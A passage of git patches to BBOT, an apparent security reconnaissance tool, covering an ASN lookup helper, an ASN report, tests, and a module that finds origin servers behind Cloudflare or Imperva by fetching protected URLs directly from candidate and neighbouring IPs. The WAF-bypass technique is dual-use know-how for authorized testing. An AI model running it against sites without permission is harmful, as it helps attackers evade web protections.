getattr(self.helpers.asn, "_prefix_map", {}) + if not prefix_cache: return - email_contacts = data.get("email_contacts", []) - abuse_contacts = data.get("abuse_contacts", []) - contacts = [l.strip().lower() for l in email_contacts + abuse_contacts] - return list(set(contacts)) - - async def get_url(self, url, data_type, cache=False): - kwargs = {} - if cache: - kwargs["cache_for"] = 60 * 60 * 24 - r = await self.helpers.request(url, **kwargs) - data = {} - try: - j = r.json() - if not isinstance(j, dict): - return data - return j - except Exception as e: - self.verbose(f"Error retrieving {data_type} at {url}: {e}", trace=True) - self.debug(f"Got data: {getattr(r, 'content', '')}") - return False + + # Aggregate data per ASN + asn_agg = {} + for prefix, recs in prefix_cache.items(): + for rec in recs: + asn = str(rec.get("asn", "UNKNOWN")) + entry = asn_agg.setdefault( + asn, + { + "name": rec.get("name", ""), + "description": rec.get("description", ""), + "country": rec.get("country", ""), + "prefixes": set(), + }, + ) + entry["prefixes"].add(prefix) + + # Build table rows sorted by prefix count desc + sorted_asns = sorted(asn_agg.items(), key=lambda x: len(x[1]["prefixes"]), reverse=True) + + header = ["ASN", "Prefix Count", "Name", "Description"] + table = [] + for asn, data in sorted_asns: + number = "AS" + asn if asn != "UNKNOWN" else asn + table.append([ + number, + f"{len(data['prefixes']):,}", + data["name"], + data["description"], + ]) + + self.log_table(table, header, table_name="asns") diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 360da04a27..2103f8c716 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -1,20 +1,19 @@ from bbot.modules.base import BaseModule -from bbot.modules.report.asn import asn from difflib import SequenceMatcher import asyncio -from bbot.core.helpers.web.ssl_context import ssl_context_noverify class waf_bypass(BaseModule): """ Module to detect WAF bypasses by finding domains not behind CloudFlare """ + watched_events = ["URL"] produced_events = ["VULNERABILITY"] options = { "similarity_threshold": 0.90, "search_ip_neighbors": True, - "neighbor_cidr": 28, # subnet size to explore when gathering neighbor IPs + "neighbor_cidr": 24, # subnet size to explore when gathering neighbor IPs } options_desc = { @@ -29,13 +28,6 @@ class waf_bypass(BaseModule): } async def setup(self): - self.asn_helper = asn(self.scan) - # Initialize required ASN attributes - self.asn_helper.sources = ["bgpview", "ripe"] - self.asn_helper.asn_counts = {} - self.asn_helper.asn_cache = {} - self.asn_helper.ripe_cache = {} - # Track protected domains and their potential bypass CIDRs self.protected_domains = {} # {domain: event} - store events for protected domains self.bypass_candidates = {} # {base_domain: set(cidrs)} @@ -43,7 +35,7 @@ async def setup(self): self.content_fingerprints = {} # {full_url: fingerprint} store content samples for comparison self.similarity_threshold = self.config.get("similarity_threshold", 0.90) self.search_ip_neighbors = self.config.get("search_ip_neighbors", True) - self.neighbor_cidr = int(self.config.get("neighbor_cidr", 28)) + self.neighbor_cidr = int(self.config.get("neighbor_cidr", 24)) if self.search_ip_neighbors and not (24 <= self.neighbor_cidr <= 31): self.warning(f"Invalid neighbor_cidr {self.neighbor_cidr}. Must be between 24 and 31.") @@ -58,18 +50,18 @@ def get_content_fingerprint(self, content): """Extract a representative fingerprint from content""" if not content: return None - + # Take 3 samples of 500 chars each from start, middle and end # This gives us enough context for comparison while reducing storage content_len = len(content) if content_len <= 1500: return content # If content is small enough, just return it all - + start = content[:500] mid_start = max(0, (content_len // 2) - 250) - middle = content[mid_start:mid_start + 500] + middle = content[mid_start : mid_start + 500] end = content[-500:] - + return start + middle + end def get_content_similarity(self, fingerprint1, fingerprint2): @@ -98,9 +90,7 @@ async def get_url_content(self, url, ip=None): except Exception: port = 443 # safe default for https - self.debug( - f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}" - ) + self.debug(f"Fetching via curl with --resolve {host}:{port}:{ip} for {url}") content = await self.helpers.web.curl( url=url, @@ -109,9 +99,7 @@ async def get_url_content(self, url, ip=None): if content: fingerprint = self.get_content_fingerprint(content) - self.debug( - f"Successfully fetched and fingerprinted content from {url} via IP {ip}" - ) + self.debug(f"Successfully fetched and fingerprinted content from {url} via IP {ip}") return fingerprint else: self.debug(f"curl returned no content for {url} via IP {ip}") @@ -120,15 +108,11 @@ async def get_url_content(self, url, ip=None): if response and response.status_code in [200, 301, 302, 500]: content = response.text fingerprint = self.get_content_fingerprint(content) - self.debug( - f"Successfully fetched and fingerprinted content from {url}" - ) + self.debug(f"Successfully fetched and fingerprinted content from {url}") return fingerprint else: status = getattr(response, "status_code", "unknown") - self.debug( - f"Failed to fetch content from {url} - Status: {status}" - ) + self.debug(f"Failed to fetch content from {url} - Status: {status}") except Exception as e: self.debug(f"Error fetching content from {url}: {str(e)}") return None @@ -138,8 +122,6 @@ async def handle_event(self, event): base_domain = self.helpers.tldextract(domain).top_domain_under_public_suffix url = str(event.data) - - # Store IPs for every domain we see dns_response = await self.helpers.dns.resolve(domain) if dns_response: @@ -153,7 +135,7 @@ async def handle_event(self, event): self.debug(f"Added cloud-ip {ip} to cloud_ips") else: self.warning(f" DNS resolution for {domain}") - + # Detect WAF/CDN protection based on tags provider_name = None if "cdn-cloudflare" in event.tags or "waf-cloudflare" in event.tags: @@ -162,13 +144,13 @@ async def handle_event(self, event): provider_name = "Imperva" is_protected = provider_name is not None - + if is_protected: self.debug(f"{provider_name} protection detected via tags: {event.tags}") # Save the full domain and event for CloudFlare-protected URLs self.protected_domains[domain] = event self.debug(f"Found {provider_name}-protected domain: {domain}") - + # Fetch and store content content = await self.get_url_content(url) @@ -189,23 +171,27 @@ async def handle_event(self, event): if base_domain not in self.bypass_candidates: self.bypass_candidates[base_domain] = set() self.debug(f"Created new CIDR set for {provider_name} base domain: {base_domain}") - + for ip in base_dns: self.debug(f"Getting ASN info for IP {ip} from {provider_name} base domain {base_domain}") - asns, _ = await self.asn_helper.get_asn(str(ip)) + asns = await self.helpers.asn.get(str(ip)) if asns: for asn_info in asns: - subnet = asn_info.get('subnet') - if subnet: - self.bypass_candidates[base_domain].add(subnet) - self.debug(f"Added CIDR {subnet} from {provider_name} base domain {base_domain} (ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})") + prefixes = asn_info.get("prefixes") + if isinstance(prefixes, str): + prefixes = [prefixes] + for cidr in prefixes: + self.bypass_candidates[base_domain].add(cidr) + self.debug( + f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " + f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" + ) else: self.warning(f"No ASN info found for IP {ip}") else: self.debug(f"WARNING: No DNS resolution for {provider_name} base domain {base_domain}") else: - if "cdn-ip" in event.tags: self.debug("CDN IP detected, skipping CIDR collection") return @@ -215,47 +201,47 @@ async def handle_event(self, event): if base_domain not in self.bypass_candidates: self.bypass_candidates[base_domain] = set() self.debug(f"Created new CIDR set for base domain: {base_domain}") - + for ip in dns_response: self.debug(f"Getting ASN info for IP {ip} from non-CloudFlare domain {domain}") - asns, _ = await self.asn_helper.get_asn(str(ip)) + asns = await self.helpers.asn.get(str(ip)) if asns: for asn_info in asns: - subnet = asn_info.get('subnet') - if subnet: - self.bypass_candidates[base_domain].add(subnet) - self.debug(f"Added CIDR {subnet} from non-CloudFlare domain {domain} (ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})") + prefixes = asn_info.get("prefixes") + if isinstance(prefixes, str): + prefixes = [prefixes] + for cidr in prefixes: + self.bypass_candidates[base_domain].add(cidr) + self.debug( + f"Added CIDR {cidr} from non-CloudFlare domain {domain} " + f"(ASN{asn_info.get('asn', 'Unknown')} - {asn_info.get('name', 'Unknown')})" + ) else: self.warning(f"No ASN info found for IP {ip}") - async def filter_event(self, event): if "endpoint" in event.tags: return False, "WAF bypass module only considers directory URLs" return True - - async def check_ip(self, idx, ip, source_domain, protected_domain, total_ips, source_event): - + async def check_ip(self, ip, source_domain, protected_domain, source_event): matching_url = next((url for url in self.content_fingerprints.keys() if protected_domain in url), None) if not matching_url: - self.debug(f"No matching URL found for {protected_domain} in stored fingerprints") + self.critical(f"No matching URL found for {protected_domain} in stored fingerprints") return None original_fingerprint = self.content_fingerprints.get(matching_url) if not original_fingerprint: - self.debug(f"No original fingerprint for {matching_url}") + self.critical(f"No original fingerprint for {matching_url}") return None self.verbose( - f"Bypass attempt ({idx}/{total_ips}) {protected_domain} via {ip} (orig len {len(original_fingerprint)}) from {source_domain}" + f"Bypass attempt: {protected_domain} via {ip} (orig len {len(original_fingerprint)}) from {source_domain}" ) bypass_fp = await self.get_url_content(matching_url, ip) if not bypass_fp: - self.debug( - f"({idx}/{total_ips}): Failed to get content through IP {ip} for URL {matching_url}" - ) + self.debug(f"Failed to get content through IP {ip} for URL {matching_url}") return None similarity_raw = self.get_content_similarity(original_fingerprint, bypass_fp) @@ -263,45 +249,18 @@ async def check_ip(self, idx, ip, source_domain, protected_domain, total_ips, so return (matching_url, ip, similarity, source_event) if similarity_raw >= self.similarity_threshold else None async def finish(self): - - - # Show protected domains as single-line debug message - if not self.protected_domains: - self.debug("Protected Domains: None found") - else: - protected_str = ", ".join(sorted(self.protected_domains.keys())) - self.debug(f"Protected Domains: {protected_str}") - - # Show bypass candidates as single-line debug message - if not self.bypass_candidates: - self.debug("Bypass Candidates: None found") - else: - bypass_str = ", ".join( - f"{base_domain}: [{', '.join(sorted(cidrs))}]" for base_domain, cidrs in sorted(self.bypass_candidates.items()) - ) - self.debug(f"Bypass Candidates: {bypass_str}") - - # Show domain to IP mappings as a single-line debug message - if not self.domain_ips: - self.debug("Domain to IP Mappings: None found") - else: - mapping_str = ", ".join( - f"{domain}: [{', '.join(sorted(ips))}]" for domain, ips in sorted(self.domain_ips.items()) - ) - self.debug(f"Domain to IP Mappings: {mapping_str}") + self.debug(f"Found {len(self.protected_domains)} Protected Domains") + self.debug(f"Found {len(self.bypass_candidates)} Bypass Candidates") confirmed_bypasses = [] # [(protected_url, matching_ip, similarity)] - - # First, collect all non-CloudFlare IPs we've seen all_ips = {} # {ip: domain} cloudflare_ips = set() - - + # First collect CloudFlare IPs for protected_domain in self.protected_domains: if protected_domain in self.domain_ips: cloudflare_ips.update(self.domain_ips[protected_domain]) - + # Then collect non-CloudFlare IPs for domain, ips in self.domain_ips.items(): if domain not in self.protected_domains: # If it's not a protected domain @@ -310,69 +269,47 @@ async def finish(self): all_ips[ip] = domain self.debug(f"Added potential bypass IP {ip} from domain {domain}") - if self.search_ip_neighbors and ip not in self.cloud_ips: import ipaddress - orig_asns, _ = await self.asn_helper.get_asn(str(ip)) + + orig_asns = await self.helpers.asn.get(str(ip)) if orig_asns: - self.critical(f"neighbor_cidr: {self.neighbor_cidr}") neighbor_net = ipaddress.ip_network(f"{ip}/{self.neighbor_cidr}", strict=False) - asn_cache_local = {} - match_count = 0 for neighbor_ip in neighbor_net.hosts(): n_ip_str = str(neighbor_ip) if n_ip_str == ip or n_ip_str in cloudflare_ips or n_ip_str in all_ips: continue - if n_ip_str in asn_cache_local: - asns_neighbor = asn_cache_local[n_ip_str] - else: - asns_neighbor, _ = await self.asn_helper.get_asn(n_ip_str) - asn_cache_local[n_ip_str] = asns_neighbor + asns_neighbor = await self.helpers.asn.get(n_ip_str) if not asns_neighbor: continue - if not orig_asns: - continue - if any(a['asn'] == b['asn'] for a in orig_asns for b in asns_neighbor): + # Check if any ASN matches + if any(a["asn"] == b["asn"] for a in orig_asns for b in asns_neighbor): all_ips[n_ip_str] = domain - self.critical(f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP from {domain}") - match_count += 1 - if match_count >= 3: # configurable - break + self.debug( + f"Added Neighbor IP ({ip} -> {n_ip_str}) as potential bypass IP derived from {domain}" + ) - self.debug(f"\nFound {len(all_ips)} non-CloudFlare IPs to check: {all_ips}") - - # For each protected domain with progress display - total_protected = len(self.protected_domains) - total_ips = len(all_ips) - tasks = [] - self.debug(f"attempted_bypass_pairs {len(self.attempted_bypass_pairs)} attempted bypass pairs") + self.verbose(f"Checking {len(self.attempted_bypass_pairs)} bypass pairs...") - - for idx, (protected_domain, source_event) in enumerate(self.protected_domains.items(), start=1): - self.debug(f"\nAdding to tasks: {idx}/{total_protected}: {protected_domain}") - - # create tasks for every IP of this protected domain, marking attempts - for ip_idx, (ip, src) in enumerate(all_ips.items(), start=1): + for protected_domain, source_event in self.protected_domains.items(): + for ip, src in all_ips.items(): combo = (protected_domain, ip) if combo in self.attempted_bypass_pairs: continue self.attempted_bypass_pairs.add(combo) - tasks.append( - asyncio.create_task( - self.check_ip(ip_idx, ip, src, protected_domain, total_ips, source_event) - ) - ) + self.debug(f"Checking {ip} for {protected_domain} from {src}") + tasks.append(asyncio.create_task(self.check_ip(ip, src, protected_domain, source_event))) self.debug(f"about to start {len(tasks)} tasks") async for completed in self.helpers.as_completed(tasks): result = await completed if result: confirmed_bypasses.append(result) - + if confirmed_bypasses: # Aggregate by URL and similarity agg = {} @@ -383,9 +320,6 @@ async def finish(self): for (matching_url, sim_key), data in agg.items(): ip_list = data["ips"] ip_list_str = ", ".join(sorted(set(ip_list))) - self.debug( - f"CONFIRMED BYPASS: {matching_url} via IPs [{ip_list_str}] (similarity {sim_key:.2%})" - ) await self.emit_event( { "severity": "MEDIUM", @@ -394,4 +328,4 @@ async def finish(self): }, "VULNERABILITY", data["event"], - ) \ No newline at end of file + ) From f68de329e6a522b720d1c01893f9f9774df196c5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 6 Aug 2025 17:12:34 -0400 Subject: [PATCH 004/129] adding asn helper test, fixing report --- bbot/core/helpers/asn.py | 14 +- bbot/modules/report/asn.py | 14 +- .../module_tests/test_module_asn.py | 252 ++---------------- 3 files changed, 38 insertions(+), 242 deletions(-) diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index e70ab3aa75..f3965abc9a 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -6,14 +6,7 @@ class ASNHelper: - """ - Thin helper for cached ASN queries. - Response format assumed normalised, e.g.: - [ - {"asn": "54113", "subnet": "203.0.113.0/24", - "name": "FASTLY", "description": "Fastly", "country": "US"} - ] - """ + asndb_url = "http://157.230.95.177:9000/v1/ip/" def __init__(self, parent_helper): self.parent_helper = parent_helper @@ -48,9 +41,8 @@ async def get(self, ip: str): return [self.UNKNOWN_ASN] async def _query_api(self, ip: str): - url = "http://157.230.95.177:9000/v1/ip/{ip}".format( - ip=ip - ) # temporary until theres a proper domain for the API + # Build request URL using overridable base + url = f"{self.asndb_url}{ip}" try: response = await self.parent_helper.request(url, timeout=15) if response is None: diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index 7088d6769b..e30826636f 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -97,11 +97,13 @@ async def report(self): table = [] for asn, data in sorted_asns: number = "AS" + asn if asn != "UNKNOWN" else asn - table.append([ - number, - f"{len(data['prefixes']):,}", - data["name"], - data["description"], - ]) + table.append( + [ + number, + f"{len(data['prefixes']):,}", + data["name"], + data["description"], + ] + ) self.log_table(table, header, table_name="asns") diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index fbd3558a43..c9fdd878f0 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -1,239 +1,41 @@ from .base import ModuleTestBase +import json -class TestASNBGPView(ModuleTestBase): +class TestASNHelper(ModuleTestBase): + """Simple test for ASN module using mocked ASNHelper HTTP endpoint.""" + targets = ["8.8.8.8"] module_name = "asn" + modules_overrides = ["asn"] config_overrides = {"scope": {"report_distance": 2}} - response_get_asn_bgpview = { - "status": "ok", - "status_message": "Query was successful", - "data": { - "ip": "8.8.8.8", - "ptr_record": "dns.google", - "prefixes": [ - { - "prefix": "8.8.8.0/24", - "ip": "8.8.8.0", - "cidr": 24, - "asn": {"asn": 15169, "name": "GOOGLE", "description": "Google LLC", "country_code": "US"}, - "name": "LVLT-GOGL-8-8-8", - "description": "Google LLC", - "country_code": "US", - } - ], - "rir_allocation": { - "rir_name": "ARIN", - "country_code": None, - "ip": "8.0.0.0", - "cidr": 9, - "prefix": "8.0.0.0/9", - "date_allocated": "1992-12-01 00:00:00", - "allocation_status": "allocated", - }, - "iana_assignment": { - "assignment_status": "legacy", - "description": "Administered by ARIN", - "whois_server": "whois.arin.net", - "date_assigned": None, - }, - "maxmind": {"country_code": None, "city": None}, - }, - "@meta": {"time_zone": "UTC", "api_version": 1, "execution_time": "567.18 ms"}, - } - response_get_emails_bgpview = { - "status": "ok", - "status_message": "Query was successful", - "data": { - "asn": 15169, - "name": "GOOGLE", - "description_short": "Google LLC", - "description_full": ["Google LLC"], - "country_code": "US", - "website": "https://about.google/intl/en/", - "email_contacts": ["network-abuse@google.com", "arin-contact@google.com"], - "abuse_contacts": ["network-abuse@google.com"], - "looking_glass": None, - "traffic_estimation": None, - "traffic_ratio": "Mostly Outbound", - "owner_address": ["1600 Amphitheatre Parkway", "Mountain View", "CA", "94043", "US"], - "rir_allocation": { - "rir_name": "ARIN", - "country_code": "US", - "date_allocated": "2000-03-30 00:00:00", - "allocation_status": "assigned", - }, - "iana_assignment": { - "assignment_status": None, - "description": None, - "whois_server": None, - "date_assigned": None, - }, - "date_updated": "2023-02-07 06:39:11", - }, - "@meta": {"time_zone": "UTC", "api_version": 1, "execution_time": "56.55 ms"}, + api_response = { + "asn": 15169, + "prefixes": ["8.8.8.0/24"], + "asn_name": "GOOGLE", + "org": "Google LLC", + "country": "US", } async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="https://api.bgpview.io/ip/8.8.8.8", json=self.response_get_asn_bgpview - ) - module_test.httpx_mock.add_response( - url="https://api.bgpview.io/asn/15169", json=self.response_get_emails_bgpview - ) - module_test.module.sources = ["bgpview"] - - def check(self, module_test, events): - assert any(e.type == "ASN" for e in events) - assert any(e.type == "EMAIL_ADDRESS" for e in events) + # Point ASNHelper to local test harness + from bbot.core.helpers.asn import ASNHelper + module_test.monkeypatch.setattr(ASNHelper, "asndb_url", "http://127.0.0.1:8888/v1/ip/") -class TestASNRipe(ModuleTestBase): - targets = ["8.8.8.8"] - module_name = "asn" - config_overrides = {"scope": {"report_distance": 2}} - - response_get_asn_ripe = { - "messages": [], - "see_also": [], - "version": "1.1", - "data_call_name": "network-info", - "data_call_status": "supported", - "cached": False, - "data": {"asns": ["15169"], "prefix": "8.8.8.0/24"}, - "query_id": "20230217212133-f278ff23-d940-4634-8115-a64dee06997b", - "process_time": 5, - "server_id": "app139", - "build_version": "live.2023.2.1.142", - "status": "ok", - "status_code": 200, - "time": "2023-02-17T21:21:33.428469", - } - response_get_asn_metadata_ripe = { - "messages": [], - "see_also": [], - "version": "4.1", - "data_call_name": "whois", - "data_call_status": "supported - connecting to ursa", - "cached": False, - "data": { - "records": [ - [ - {"key": "ASNumber", "value": "15169", "details_link": None}, - {"key": "ASName", "value": "GOOGLE", "details_link": None}, - {"key": "ASHandle", "value": "15169", "details_link": "https://stat.ripe.net/AS15169"}, - {"key": "RegDate", "value": "2000-03-30", "details_link": None}, - { - "key": "Ref", - "value": "https://rdap.arin.net/registry/autnum/15169", - "details_link": "https://rdap.arin.net/registry/autnum/15169", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "OrgAbuseHandle", "value": "ABUSE5250-ARIN", "details_link": None}, - {"key": "OrgAbuseName", "value": "Abuse", "details_link": None}, - {"key": "OrgAbusePhone", "value": "+1-650-253-0000", "details_link": None}, - { - "key": "OrgAbuseEmail", - "value": "network-abuse@google.com", - "details_link": "mailto:network-abuse@google.com", - }, - { - "key": "OrgAbuseRef", - "value": "https://rdap.arin.net/registry/entity/ABUSE5250-ARIN", - "details_link": "https://rdap.arin.net/registry/entity/ABUSE5250-ARIN", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "OrgName", "value": "Google LLC", "details_link": None}, - {"key": "OrgId", "value": "GOGL", "details_link": None}, - {"key": "Address", "value": "1600 Amphitheatre Parkway", "details_link": None}, - {"key": "City", "value": "Mountain View", "details_link": None}, - {"key": "StateProv", "value": "CA", "details_link": None}, - {"key": "PostalCode", "value": "94043", "details_link": None}, - {"key": "Country", "value": "US", "details_link": None}, - {"key": "RegDate", "value": "2000-03-30", "details_link": None}, - { - "key": "Comment", - "value": "Please note that the recommended way to file abuse complaints are located in the following links.", - "details_link": None, - }, - { - "key": "Comment", - "value": "To report abuse and illegal activity: https://www.google.com/contact/", - "details_link": None, - }, - { - "key": "Comment", - "value": "For legal requests: http://support.google.com/legal", - "details_link": None, - }, - {"key": "Comment", "value": "Regards,", "details_link": None}, - {"key": "Comment", "value": "The Google Team", "details_link": None}, - { - "key": "Ref", - "value": "https://rdap.arin.net/registry/entity/GOGL", - "details_link": "https://rdap.arin.net/registry/entity/GOGL", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "OrgTechHandle", "value": "ZG39-ARIN", "details_link": None}, - {"key": "OrgTechName", "value": "Google LLC", "details_link": None}, - {"key": "OrgTechPhone", "value": "+1-650-253-0000", "details_link": None}, - { - "key": "OrgTechEmail", - "value": "arin-contact@google.com", - "details_link": "mailto:arin-contact@google.com", - }, - { - "key": "OrgTechRef", - "value": "https://rdap.arin.net/registry/entity/ZG39-ARIN", - "details_link": "https://rdap.arin.net/registry/entity/ZG39-ARIN", - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - [ - {"key": "RTechHandle", "value": "ZG39-ARIN", "details_link": None}, - {"key": "RTechName", "value": "Google LLC", "details_link": None}, - {"key": "RTechPhone", "value": "+1-650-253-0000", "details_link": None}, - {"key": "RTechEmail", "value": "arin-contact@google.com", "details_link": None}, - { - "key": "RTechRef", - "value": "https://rdap.arin.net/registry/entity/ZG39-ARIN", - "details_link": None, - }, - {"key": "source", "value": "ARIN", "details_link": None}, - ], - ], - "irr_records": [], - "authorities": ["arin"], - "resource": "15169", - "query_time": "2023-02-17T21:25:00", - }, - "query_id": "20230217212529-75f57efd-59f4-473f-8bdd-803062e94290", - "process_time": 268, - "server_id": "app143", - "build_version": "live.2023.2.1.142", - "status": "ok", - "status_code": 200, - "time": "2023-02-17T21:25:29.417812", - } - - async def setup_after_prep(self, module_test): - module_test.httpx_mock.add_response( - url="https://stat.ripe.net/data/network-info/data.json?resource=8.8.8.8", - json=self.response_get_asn_ripe, - ) - module_test.httpx_mock.add_response( - url="https://stat.ripe.net/data/whois/data.json?resource=15169", - json=self.response_get_asn_metadata_ripe, - ) - module_test.module.sources = ["ripe"] + expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} + respond_args = { + "response_data": json.dumps(self.api_response), + "status": 200, + "content_type": "application/json", + } + module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) def check(self, module_test, events): - assert any(e.type == "ASN" for e in events) - assert any(e.type == "EMAIL_ADDRESS" for e in events) + # Ensure at least one ASN event is produced + asn_events = [e for e in events if e.type == "ASN"] + assert asn_events, "No ASN event produced" + + # Verify name field is not the unknown placeholder + assert any(e.data.get("name") and e.data.get("name") != "unknown" for e in asn_events) From b1e175a0f3aaa9c8c1c4f46e3c5dfbef6d39ab68 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 Aug 2025 14:34:38 -0400 Subject: [PATCH 005/129] normalizing nomenclature, adding tests --- bbot/core/helpers/asn.py | 24 ++-- bbot/modules/report/asn.py | 35 ++--- bbot/modules/waf_bypass.py | 16 +-- .../module_tests/test_module_waf_bypass.py | 133 ++++++++++++++++++ 4 files changed, 171 insertions(+), 37 deletions(-) create mode 100644 bbot/test/test_step_2/module_tests/test_module_waf_bypass.py diff --git a/bbot/core/helpers/asn.py b/bbot/core/helpers/asn.py index f3965abc9a..dadbd06bbb 100644 --- a/bbot/core/helpers/asn.py +++ b/bbot/core/helpers/asn.py @@ -36,7 +36,7 @@ async def get(self, ip: str): log.debug(f"cache MISS for ip: {ip_str}") asn_data = await self._query_api(ip_str) if asn_data: - self._cache_prefixes(asn_data) + self._cache_subnets(asn_data) return asn_data return [self.UNKNOWN_ASN] @@ -61,15 +61,15 @@ async def _query_api(self, ip: str): return None if isinstance(raw, dict): - prefixes = raw.get("prefixes") - if isinstance(prefixes, str): - prefixes = [prefixes] - if not prefixes: - prefixes = [f"{ip}/32"] + subnets = raw.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + if not subnets: + subnets = [f"{ip}/32"] rec = { "asn": str(raw.get("asn", "")), - "prefixes": prefixes, + "subnets": subnets, "name": raw.get("asn_name", ""), "description": raw.get("org", ""), "country": raw.get("country", ""), @@ -82,14 +82,14 @@ async def _query_api(self, ip: str): log.warning(f"ASN API request error to url {url} for {ip}: {e}") return None - def _cache_prefixes(self, asn_list): + def _cache_subnets(self, asn_list): if not (self._tree4 or self._tree6): return for rec in asn_list: - prefixes = rec.get("prefixes") or [] - if isinstance(prefixes, str): - prefixes = [prefixes] - for p in prefixes: + subnets = rec.get("subnets") or [] + if isinstance(subnets, str): + subnets = [subnets] + for p in subnets: try: net = ipaddress.ip_network(p, strict=False) except ValueError: diff --git a/bbot/modules/report/asn.py b/bbot/modules/report/asn.py index e30826636f..8636f17af4 100644 --- a/bbot/modules/report/asn.py +++ b/bbot/modules/report/asn.py @@ -21,7 +21,7 @@ async def setup(self): "subnet": "0.0.0.0/32", "name": "unknown", "description": "unknown", - # "country": "", + "country": "", } return True @@ -37,12 +37,12 @@ async def handle_event(self, event): asns = await self.helpers.asn.get(str(host)) for asn in asns: - # Calculate prefix count - prefixes = asn.get("prefixes", []) - prefix_count = len(prefixes) + # Calculate subnet count + subnets = asn.get("subnets", []) + subnet_count = len(subnets) # Add new summary field - asn["prefix_count"] = prefix_count + asn["subnet_count"] = subnet_count emails = asn.pop("emails", []) asn_event = self.make_event(asn, "ASN", parent=event) @@ -52,11 +52,11 @@ async def handle_event(self, event): asn_number = asn.get("asn", "") asn_desc = asn.get("description", "") asn_name = asn.get("name", "") - # asn_subnet = asn.get("subnet", "") + asn_country = asn.get("country", "") await self.emit_event( asn_event, - context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}", # , {asn_subnet})", + context=f"{{module}} looked up {event.data} and got {{event.type}}: AS{asn_number} ({asn_name}, {asn_desc}, {asn_country})", ) for email in emails: @@ -68,15 +68,15 @@ async def handle_event(self, event): ) async def report(self): - """Generate an ASN summary table based on the helper's cached prefixes.""" + """Generate an ASN summary table based on the helper's cached subnets.""" - prefix_cache = getattr(self.helpers.asn, "_prefix_map", {}) - if not prefix_cache: + subnet_cache = getattr(self.helpers.asn, "_subnet_map", {}) + if not subnet_cache: return # Aggregate data per ASN asn_agg = {} - for prefix, recs in prefix_cache.items(): + for subnet, recs in subnet_cache.items(): for rec in recs: asn = str(rec.get("asn", "UNKNOWN")) entry = asn_agg.setdefault( @@ -85,24 +85,25 @@ async def report(self): "name": rec.get("name", ""), "description": rec.get("description", ""), "country": rec.get("country", ""), - "prefixes": set(), + "subnets": set(), }, ) - entry["prefixes"].add(prefix) + entry["subnets"].add(subnet) - # Build table rows sorted by prefix count desc - sorted_asns = sorted(asn_agg.items(), key=lambda x: len(x[1]["prefixes"]), reverse=True) + # Build table rows sorted by subnet count desc + sorted_asns = sorted(asn_agg.items(), key=lambda x: len(x[1]["subnets"]), reverse=True) - header = ["ASN", "Prefix Count", "Name", "Description"] + header = ["ASN", "Subnet Count", "Name", "Description", "Country"] table = [] for asn, data in sorted_asns: number = "AS" + asn if asn != "UNKNOWN" else asn table.append( [ number, - f"{len(data['prefixes']):,}", + f"{len(data['subnets']):,}", data["name"], data["description"], + data["country"], ] ) diff --git a/bbot/modules/waf_bypass.py b/bbot/modules/waf_bypass.py index 2103f8c716..88086010dd 100644 --- a/bbot/modules/waf_bypass.py +++ b/bbot/modules/waf_bypass.py @@ -177,10 +177,10 @@ async def handle_event(self, event): asns = await self.helpers.asn.get(str(ip)) if asns: for asn_info in asns: - prefixes = asn_info.get("prefixes") - if isinstance(prefixes, str): - prefixes = [prefixes] - for cidr in prefixes: + subnets = asn_info.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + for cidr in subnets: self.bypass_candidates[base_domain].add(cidr) self.debug( f"Added CIDR {cidr} from {provider_name} base domain {base_domain} " @@ -207,10 +207,10 @@ async def handle_event(self, event): asns = await self.helpers.asn.get(str(ip)) if asns: for asn_info in asns: - prefixes = asn_info.get("prefixes") - if isinstance(prefixes, str): - prefixes = [prefixes] - for cidr in prefixes: + subnets = asn_info.get("subnets") + if isinstance(subnets, str): + subnets = [subnets] + for cidr in subnets: self.bypass_candidates[base_domain].add(cidr) self.debug( f"Added CIDR {cidr} from non-CloudFlare domain {domain} " diff --git a/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py new file mode 100644 index 0000000000..99692a0462 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_waf_bypass.py @@ -0,0 +1,133 @@ +from .base import ModuleTestBase +from bbot.modules.base import BaseModule +import json + + +class TestWAFBypass(ModuleTestBase): + targets = ["protected.test", "direct.test"] + module_name = "waf_bypass" + modules_overrides = ["waf_bypass", "httpx"] + config_overrides = { + "scope": {"report_distance": 2}, + "modules": {"waf_bypass": {"search_ip_neighbors": True, "neighbor_cidr": 30}}, + } + + PROTECTED_IP = "127.0.0.129" + DIRECT_IP = "127.0.0.2" + + api_response_direct = { + "asn": 15169, + "subnets": ["127.0.0.0/25"], + "asn_name": "ACME-ORG", + "org": "ACME-ORG", + "country": "US", + } + + api_response_cloudflare = { + "asn": 13335, + "asn_name": "CLOUDFLARENET", + "country": "US", + "ip": 